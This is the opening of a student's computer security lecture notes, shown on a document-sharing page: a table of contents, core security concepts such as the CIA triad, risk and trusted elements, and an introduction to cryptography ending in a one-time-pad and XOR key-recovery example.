KEMBAR78
CS Notes | PDF | Encryption | Cryptography
0% found this document useful (0 votes)
22 views72 pages

CS Notes

The document is a comprehensive set of notes on computer security, covering topics such as cryptography, encryption, digital signatures, authentication, access control, and software security. It includes detailed sections on various algorithms and techniques, as well as discussions on vulnerabilities and attacks. The content is structured into chapters, each focusing on specific aspects of computer security, making it a valuable resource for understanding the field.

Uploaded by

felipeazank
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
22 views72 pages

CS Notes

The document is a comprehensive set of notes on computer security, covering topics such as cryptography, encryption, digital signatures, authentication, access control, and software security. It includes detailed sections on various algorithms and techniques, as well as discussions on vulnerabilities and attacks. The content is structured into chapters, each focusing on specific aspects of computer security, making it a valuable resource for understanding the field.

Uploaded by

felipeazank
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 72

Computer Security Notes

Luisa Cicolini

1
Contents

1 Introduction to Computer Security 5

2 Cryptography 7
2.1 History of Cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.2 Cryptography and Cryptosystems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.3 (Non) Successful Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

3 Encryption and Confidentiality 10


3.1 Symmetric Encryption Algorithms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.1.1 Data Encryption Standard . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.1.2 Standard Encryption and Brute Forcing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.2 Asymmetric Encryption Algorithms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.2.1 Diffie-Hellman Exchange . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.2.2 RSA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

4 Hash Functions and Integrity 15


4.1 Hash Functions’ Properties . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
4.2 Attacks to Hash Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

5 Digital Signature and Confidentiality, Integrity, Authentication 17

6 Authentication 19
6.1 The to Know factor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
6.1.1 Secure Password Exchange . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
6.1.2 Secure Password Storage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
6.2 The To Have factor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
6.3 The To Be factor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
6.3.1 Fingerprint use case . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
6.3.2 Consumer-level biometric authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
6.4 The social factor: who you know . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
6.5 Single Sign On . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
6.6 Strong Customer Authentication and PSD2: a use case . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

7 Access Control and Authorization 27


7.1 Discretionary Access Control Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
7.1.1 General Model of DAC systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
7.2 Mandatory Access Control Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30

8 Software Security 30
8.1 Life of a Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
8.1.1 Non Disclosure Years . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
8.1.2 Full Disclosure days . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
8.1.3 Anti-Disclosure days . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
8.2 Vulnerabilities and Exploit in UNIX-like systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33

9 Basics of process and memory 34


9.1 Process Creation in Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
9.2 Code, Memory and Stack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
9.2.1 Recall on registers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
9.2.2 Functions and Stack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
9.2.3 The call instruction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

2
10 Buffer Overflows 37
10.1 More in Detail . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
10.1.1 Address Problem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
10.1.2 Exploiting execve("/bin/sh") . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
10.2 Defending Against Buffer Overflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43

11 Format String Bugs 43


11.1 Format String Bugs Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
11.2 Affected functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47

12 Web Application Security 48


12.1 Web Application Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
12.2 Password security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
12.3 Cookies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49

13 Web Application Attacks 50


13.1 Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
13.1.1 Stored XSS (Persistent) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
13.1.2 Reflected XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
13.1.3 Dom-based XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
13.1.4 XSS attacks’ power . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
13.2 SQL injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
13.2.1 Blind SQL injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
13.2.2 Mitigations against Web vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
13.3 Freudian Slips . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
13.4 URL Parameter Tampering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
13.5 Directory/Path traversal attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
13.6 Cross-Site Request Forgery (CSRF) attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54

14 Network Protocol Attacks 54


14.1 Denial of Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
14.1.1 Killer Packets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
14.1.2 Flooding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
14.1.3 SYN Flood Attack: TCP/IP three way handshake . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
14.1.4 Distributed DoS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
14.2 Network level sniffing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
14.2.1 ARP Spoofing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
14.2.2 MAC flooding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
14.2.3 Spanning Tree Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
14.3 IP address Spoofing (UDO/ICMP) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
14.4 DNS cache poisoning attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
14.5 Dynamic Host Configuration Protocol - DHCP Poisoning Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58

15 Secure Network Architectures 59


15.1 Packet Filters Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
15.2 Stateful (or Dynamic) Packet Filters . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
15.3 Circuit Firewalls (Legacy) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
15.4 Application Proxies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
15.5 Architectures for secure networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
15.5.1 Dual- or Multi-zone Architectures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
15.5.2 Virtual Private Networks -VPNs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62

3
16 Network Security: SSL, TLS, SET 63
16.1 SSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
16.2 SET . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65

17 Malicious Software 65
17.1 Floppy Disk Viruses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
17.2 Macro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
17.3 Worms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
17.4 Mass Mailers: rebirth of the worms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
17.5 Modern Worms: Mass Scanners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
17.6 The Cybercrime Ecosystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
17.7 Bots . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
17.8 Virus Stealth Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
17.8.1 Anti-virtualization techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
17.8.2 Packing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
17.8.3 Rootkits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
17.9 Counteracting Malware: Malware Analysis Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69

18 Mobile Security and Malicious Apps 70


18.1 Security Model . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
18.1.1 Sandboxing mechanism . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
18.1.2 Permission-based Authorization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
18.1.3 Code Signing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
18.1.4 Breaking the Rules for Extra Apps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
18.1.5 Malicious Code: Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
18.2 Risks of these ecosystems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
18.2.1 Malicious Code: iOS vs Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
18.3 Malicious Code: Actions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
18.4 Reflections on Antivirus for Mobiles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

4
1 Introduction to Computer Security

An holistic approach to computer security will be followed during the following notes, that is to say both hosts and networks
will be considered, as well as the impact of policies and procedures. → PEBKAC = Problem Exists Between Keyboard And Chair
The behavior of the user has to be considered: in fact the user is usually the weakest
element of every computer system.

What is security? What is a secure system? A secure system can be defined as a


system that is secure to use and protects the inside from external threats. Two main
concept concerning this definition should be analyzed first:

1. System that protects from the outside → security

2. Being protected from a system the system does not harm the users → safety

It is important to separate security and safety in this context. How is a secure system
engineered? According to the approach that considers the system as a whole, some
basic security requirements have to be analyzed: a system is said to be secure if these
parameters, stated in the CIA Paradigm are met: Figure 1. PEBKAC

Confidentiality → information can be accessed only by authorized entities, unauthorized people can not have access to it

Availability → information must be available to all the parties who have right to access it within specified time constraints, it is in
general related to service providing and customers

In fact, security itself is an engineering problem. It is clear that there is a conflict among these requirements: while confidentiality
and integrity tend to restrict the access to the resource, availability does the opposite. The engineering problem in this context is
to find a trade-off among the requirements: this trade-off is the very first thing to think about when designing a system. To solve
this engineering problem some useful concepts can be introduced:

Vulnerabilities: things that allow to violate one of the constraints of the CIA paradigm, can be inherent to the system itself. If this
is the case, it might be difficult to remove it: e.g. the battery of a device is a vulnerability with respect to its availability, but it
can not be removed. Vulnerabilities are often intrinsic characteristics of the system itself, design issues (e.g. bugs) or effects.

Exploits: specific ways to use one or more vulnerabilities to accomplish a specific objective that violates the constraints. Exploiting
means leveraging a vulnerability to violate the CIA paradigm. Knowing the exploit implies knowing the vulnerability that has
to be exploited, of course this is not true the other way round: knowing a vulnerability does not mean knowing the exploit.

Assets: identify what is valuable for an organization, such as hardware, software, data, reputation, etc, either tangible or not.
Assets can not be reduced, they can only be distributed in order to reduce the local asset.

Threats: potential violations of CIA, such as denial of service, identity theft, data leak, etc. Threats can not be controlled, they exist
and can only be analyzed together with threat agents and their power in order to know the enemy.

Attack: intentional use of one or more exploits with the objective of compromising a system’s CIA, not potential.

Threat Agent: whoever or whatever may cause an attack to occur, can be either a person or a software.

Risks: statistical and economical evaluation of the exposure to damage because of the presence of vulnerabilities and threats, the
formal definition is: 𝑟𝑖𝑠𝑘 = 𝑎𝑠𝑠𝑒𝑡 × 𝑣𝑢𝑙𝑛𝑒𝑟𝑎𝑏𝑖𝑙𝑖𝑡𝑖𝑒𝑠 × 𝑡ℎ𝑟𝑒𝑎𝑡𝑠 where threats are an independent variable, asset and vulnerabilities
are controllable variable. If threats could be removed there would be no risks: since threats and assets can not be removed,
the only thing that can be done to lower the risk is to manage vulnerabilities, trying to reduce their number and contain the
damage caused when one is exploited.

When analyzing a specific context it is important to recognize the assets to protect and the threats that can damage such assets.
When evaluating a software a threat assessment must be done, in order to identify all possible attacks that may take place and
their agents. It is important to remember that no system is invulnerable: therefore the question to be asked is not how to

5
build a perfectly secure system, but rather how to build a system that is secure enough with respect to the assets, the threats
and the threat agents. Designing secure systems is a matter of finding a trade-off between certain requirements and managing
risks and security in particular is a balance between reduction of vulnerabilities and damage containment against cost. All security
measurements that can be introduce to reduce vulnerabilities and contain the damages may increase the cost of the security
solution. The engineering problem of designing secure systems is similar to that of finding a car insurance: the cost of the solution
should be proportional to the value of the asset to protect and to the cost of reducing the vulnerabilities.
In this balance, the costs to be taken into account are:

Direct Costs: management, operational, eqipment

Indirect Costs: less usability, slower performance, less privacy, reduced producivity → more relevant

Finally, concerning computer security, two categories must be distinguished: hackers and attackers. A hacker is someone with
an advanced understanding of computers and computer networks and willingness to learn "everything". Malicious hackers are
called black hats, while security professionals are called white hats. White hats identify vulnerabilities, develop exploits, develop
attack-detection methods and engineer security solutions: when white hackers discover a vulnerability they disclose it and find
a solution, while in the same condition black hats exploit the vulnerability for malicious purposes. To be a sicurity professional
it is important to both understand and identify vulnerabilities and develop exploits. Gray hat hackers instead have no malicious
intentions, but they do not follow ethical principles either: they simply discover vulnerabilities and keep them for themselves, they
can either inform the vendor about it or use it for malicious purposes, again for themselves only.
The conclusion is that, since all systems are somehow vulnerable, it is impossible to design an invulnerable system: the goal is
to design a system that is secure enough with respect to the variables previously introduced. In particular risk variable takes all
other variables into account, therefore we can define security as an engineering problem of managing and reducing risk. It is
impossible to reduce assets or threats, the only thing that can be decreased is the number of vulnerabilities and the impact their
exploitation has. Moreover, security has a cost that has to be taken into account: a trade-off must be found between a solution and
its cost.More money ≠ more security:even the most expensive firewall, if not properly configured, is useless. The same applies to
authentication services: if it is more expensive and more complex it might be worse with respect to user friendliness. If a security
system goes against usability, a trade-off is needed.

Example: When taking a plane some security checks must be done: it is necessary to be early at the airport (losing time → reduced
productivity), wait in a line, have electronic items checked and go through scanners and various controlling devices. As a result,
both privacy and productivity are impacted and the performance is in general reduce (in terms of loss of time and money), that is to
say the process is less usable. This is done to reduce the risk, however it was shown that such security measures only have a limited
impact on reducing risks: e.g. removing lithium batteries would be more useful than removing liquids, but asking passengers to
remove batteries from their devices (thus not allowing them to work/use them during the flight) would significantly decrease the
usability of the service (other than being extra complicated, especially for some devices) → every security measure has a cost that
has to be balanced with all other requirements (one of which is usability). Other security measures are identification before taking
the tickets, x-ray scans for luggages, dogs to test against drugs and so on: however such measures are not very effective against
motivated attackers. The only effective security measures against attackers are:

Positive luggage check → check if people boarding a plane put their luggage on it (if the luggage is boarded without its owner it
might be suspicious)

Closed Cockpit → no matter what happens on the plane, the cockpit remains open: considering passengers as threat agents, this
is a way to mitigate the risk

It is crucial to analyze threat and threat agents in order to decide what security measurement to use.

Trust and Boundaries In security, trust has a different meaning than the one it has in common language: a trusted element is
the element upon which the entire security of the system relies. If the trusted element is compromised, the security of the entire
system will be compromised. When designing a system or assessing threats, at some point, it is necessary to set a boundary and
assume everything that is lower with respect to the boundary to be secure. The element chosen as boundary is the trusted element,
the one to be checked on more, since the security of the entire system relies upon it. The trusted element should also be as small
as possible, to make checking on it easier → the trusted element is a part of the system assumed to be secure, and all elements

6
below it are considered secure as well.
It is both difficult and necessary to find a trusted element, some examples are:

• A guard checking on people entering a building is the trusted element: if the guard allows anyone in the building the trusted
element is compromised. An idea might be to hire another guard to check on the first guard: the trusted element is now this
second guard. If the second guard fails to check the first one, a third guard will be needed, and so on. At some point we will
have to stop and select an element to cast → trusted element

• When buying a computer, a brand is trusted: in 2014 Lenovo delivered their pc with a malware that allowed to sniff conver-
sations and traffic and extract data from the pc, but for people who bought it, Lenovo was the trusted element

• When installing an anti-virus on the pc it is possible to buy a software → trusting the software or write one’s own antivirus →
trusting hardware and compiler, one can even write their own compiler, BIOS, etc. At some point one has to stop and that is
where the trusted element is.

In any case, while assessing vulnerabilities or designing a secure system, one must put some assumption on a trusted element,
which has to be as small as possible, in order to be able to check on it at any time. If it is compromised the entire security of the
system is as well. Finally, it’s important to remember that a system with limited vulnerabilities but with a high threat level may be
less secure than a system with many vulnerabilities but lower threat level: security is a cost.

2 Cryptography

First of all let’s make a distinction:

Cryptography: → design of cryptographic algorithms and their functioning

Cryptoanalysis: → how to break cryptographic algorithms

Criptology: → union of cryptography and cryptoanalysis

2.1 History of Cryptography

Cryptography, from ancient Greek 𝜅𝜌𝜐𝜋𝜏𝑜𝜎 + 𝛾𝜌𝛼𝜙𝜖𝜄𝜈, is the art of secret writing. In ancient times, writing and reading were secret
techniques themselves. In Greek society reading and writing became more common: in this context the need for a secret writing
brought to the development of cryptography. In fact, a first example of secret writing method is the so-called scytale, which is
actually easy to break. In this case the trusted element is the stick itself. Since then, cryptography became a need: some early
studies in this area were done by Gabriele de Lavinde and Leonardo da Vinci with its famous mirror writing, however cryptography
was not treated as a formalized science. In fact, it was mostly used for military purposes, e.g. in the "Nozioni di Crittografia" book
by Luigi Sacco, an italian army general. His book was one of the last non-formalized ones. The formalization of cryptography was
thus born out of war need, especially in World War 2: Churchill himself credits cryptoanalysis for winning the war. At the time UK
depended on imports, but Germany had conquered almost all European countries: therefore USA tried to send helps via ships, that
were systematically hit by German submarines. The main limitation of these submarines was that they could not stay underwater
for a long time: they had to go back to the surface and refill. This was the only moment in which the submarines were vulnerable
enough to be attacked: this information was crucial and transmitted encrypted within the German army. To encrypt it the Enigma
cipher was used: one of the last non-formalized encryption systems used. At the time, Alan Turing was working on breaking the
enigma cipher, in order to retrieve its key in a deterministic way: for this purposes the Bomb was born. As a consequence of
this the first computing machines were born, as well as the first formalization of cryptography.It was Claude Shannon who first
formalized cryptography in 1949, in his paper Communication theory of secrecy systems. The terms and concept expressed in this
paper are almost the same used today: e.g. a cryptosystem is a system that takes a message (plaintext) as input and transforms
it into a ciphertext with a reversible (one must be able to retrieve the original message) function that usually takes a key as further
input. The only difference between this definition and the one currently used is the term text, which is only historical: nowadays
the encrypted messages are strings of bits, instead of texts.

7
2.2 Cryptography and Cryptosystems

The problem of cryptography and cryptosystems is to allow the communication between two elements that want to communicate
over an untrusted channel (e.g. internet), that is to say there is a threat agent that wants to read the exchanged elements. The
problem is thus guaranteeing confidentiality and integrity.

Confidentiality → making sure that message exchanged via an untrusted channel is encrypted, impossible for anyone to read
except for the authorized people ⟹ only the receiver must be able to read the message

Integrity → making sure that other people do not tamper the message and that, should the message be tampered, the receiver can
detect the modification (insertion/deletion/replacement/...): this means that a tampered message is not decrypted correctly
(e.g. is corrupted) and the receiver can not read it ⟹ the message must not be modified during transmission, the receiver
must be able to verify its integrity

Kerckhoffs - Shannon Principle States that the security of a cryptosystem relies uniquely on the secrecy of the key, never on the
secrecy of the algorithm, which must be known, even to the attacker. This principle is also valid in security, which must be based on
transparency, rather than secrecy. The reason why it is important for the algorithms to be known is that a public algorithm can be
tested and analysed by anyone: anyone can find and report vulnerabilities, so that they can be solved and their number is lowered.
In fact there is no way to prove the robustness of an algorithm, except for trying to break it. Because of this, design and approval
of a cryptographic algorithms require years. This means that:

1. Algorithms are always assumed known, also to the attacker: only the key is secret ⟹ the key is the trusted element of any
cryptographic system

2. In a cryptosystem it is not possible to retrieve plaintext from ciphertext without the key

3. They key can not be retrieved by analyzing ciphertext-plaintext pairs

These are the concepts upon which the security of a cryptosystem relies.
One of the issues considered by Shannon in its formalization is the existence of a perfect cipher, one that can not be broken
regardless of the effort: to answer this question he applied distribution of probability to each exchanged message, this defining:

• 𝑃 (𝑀 = 𝑚) → probability of observing message 𝑚 = probability of observing the plaintext

• 𝑃 (𝑀 = 𝑚|𝐶 = 𝑐) → given ciphertext 𝑐 observed, probability that the message is 𝑚

Shannon concluded that a cipher is the perfect one if and only if 𝑃 (𝑀 = 𝑚|𝐶 = 𝑐) = 𝑃 (𝑀 = 𝑚), that is to say: even if the ciphertext
is observed, it does not leak any secret about the message. Even by knowing it, it is not possible to retrieve the message, unless it
is known already ⟹ it is impossible to retrieve the key by simply analyzing the ciphertext. This means that the cipher provides
the attacker with no information about the plaintext, nor about the key.

Shannon Theorem Represents another property that characterizes perfect ciphers, according to Shannon’s formalization and
states that in a perfect cipher the number of keys must be greater than or equal to the number of possible messages: |𝐾| ≥ |𝑀|.
This means that the cardinality of the set of keys must be greater than or equal to the cardinality of messages. This theorem has
two important and practical consequences:

1. In a perfect cipher the key must not be reused: a different key must be used for each message

2. In a perfect cipher the length of the key must be equal to that of the message to encrypt

This property was demonstrated by reduction to absurdity and can be summarized as follows:

1. 𝐶 must be at least as large as 𝑀: |𝐶| ≥ |𝑀|

2. For each 𝑚 there is one ciphertext 𝑐 for each key 𝑘

3. If |𝐾| < |𝑀| the number of ciphertexts for each message would be smaller than |𝑀|

4. Thus, given |𝐶| ≥ |𝑀| > |𝐾|, this means that there are values in 𝐶 that cannot correspond to some of the values in 𝑀

8
5. This is absurd by definition of perfect cipher

From a practical perspective, saying that a perfect cipher has the above mentioned property, means that for a 1 kB message, the
key has to be equal to (or greater than) 1 kB as well and can never be re-used. In real life a perfect cipher does exist: it is called
One Time Pad, whose main characteristics are:

• XOR of a message 𝑚 and a random key 𝑘, the key is pre-shared, consumed while writing and can not be re-used (re-using the
same key implies leaking some information that a hacker could exploit)

• Perfect cipher, because it satisfies the condition 𝑙𝑒𝑛(𝑘) = 𝑙𝑒𝑛(𝑚)

• Minimal cipher, because |𝐾| = |𝑀|

However, in real life, it is terribly inconvenient and only used in special settings such as war or diplomatic contexts, where this
kind of encryption is affordable. In general real world algorithms, except for One Time Pad, are imperfect and can thus be broken,
because they do not satisfy the condition 𝑙𝑒𝑛(𝑘) = 𝑙𝑒𝑛(𝑚), which implies that the key has to be re-used many times. Re-using the
same key many times means that each (ciphertext, plaintext) couple will leak some information that the hacker can exploit: if
the hacker is able to analyze many ciphertexts, since the same key is used more than once, by inferring some regularities in the
plaintext the attacker can retrieve some information about the key.

Imperfections and Brute Force In real life algorithms the same key is re-used more than once: this is why algorithms are not
perfect, furthermore the key is the only unknown thing (the algorithm must be known). At this point, the attacker in order to
break the algorithm has to find the key, and all real world algorithms are vulnerable to brute-force attacks, which means trying all
possible keys until a well-formed output is found: this is not a smart attack though. Perfect ciphers are not vulnerable to brute
force, because of the minimal property: having 𝑙𝑒𝑛(𝑘) = 𝑙𝑒𝑛(𝑚) means that trying all possible combinations of the key will result into
obtaining every possible combination of the plaintext, which are all equally likely.

Cryptoanalysis: Breaking Ciphers Brute-force is the upper bound to the robustness of an algorithm, it is the worst case scenario
to apply (most time-consuming method) in order to break an algorithm, because each possible combination must be tried: it
basically measures the time needed to break any non-perfect algorithm. A real cryptosystem (algorithm) is broken if there is a way
to break it that is faster than brute forcing. Some types of attacks are:

1. Ciphertext attack → the analyst only has ciphertexts and has to analyze the statistical distribution of the elements in the
ciphertext, until a pattern is found

2. Known plaintext attack: the analyst has a set of pairs plain-ciphertext

3. Chosen plaintext attack: the analyst can choose plaintexts and generate their respective ciphertexts, by doing so they can
analyze the correlation between different plain- and ciphertexts, carrying out the so-called linear differential cryptoanalysis

To move from the first to the third type more information is required: in the ciphertext attack only ciphertext is needed, while in
chosen plaintext some device that emulates the behavior of the system is needed too, therefore the first method should be used
first.

Example: A ZIP-compressed file encrypted with a secret 4-bytes key is given. According to Kerckhoffs’ principle, the algorithm
must not be secret, in fact it computes 𝐶 = 𝐾𝑥𝑜𝑟𝑀.

K(hex) = AA BB CC DD
M(hex) = 50 4B 03 04 BA DA 55 55 ...
xor
C(hex) = FA F0 CF D9 10 61 99 88

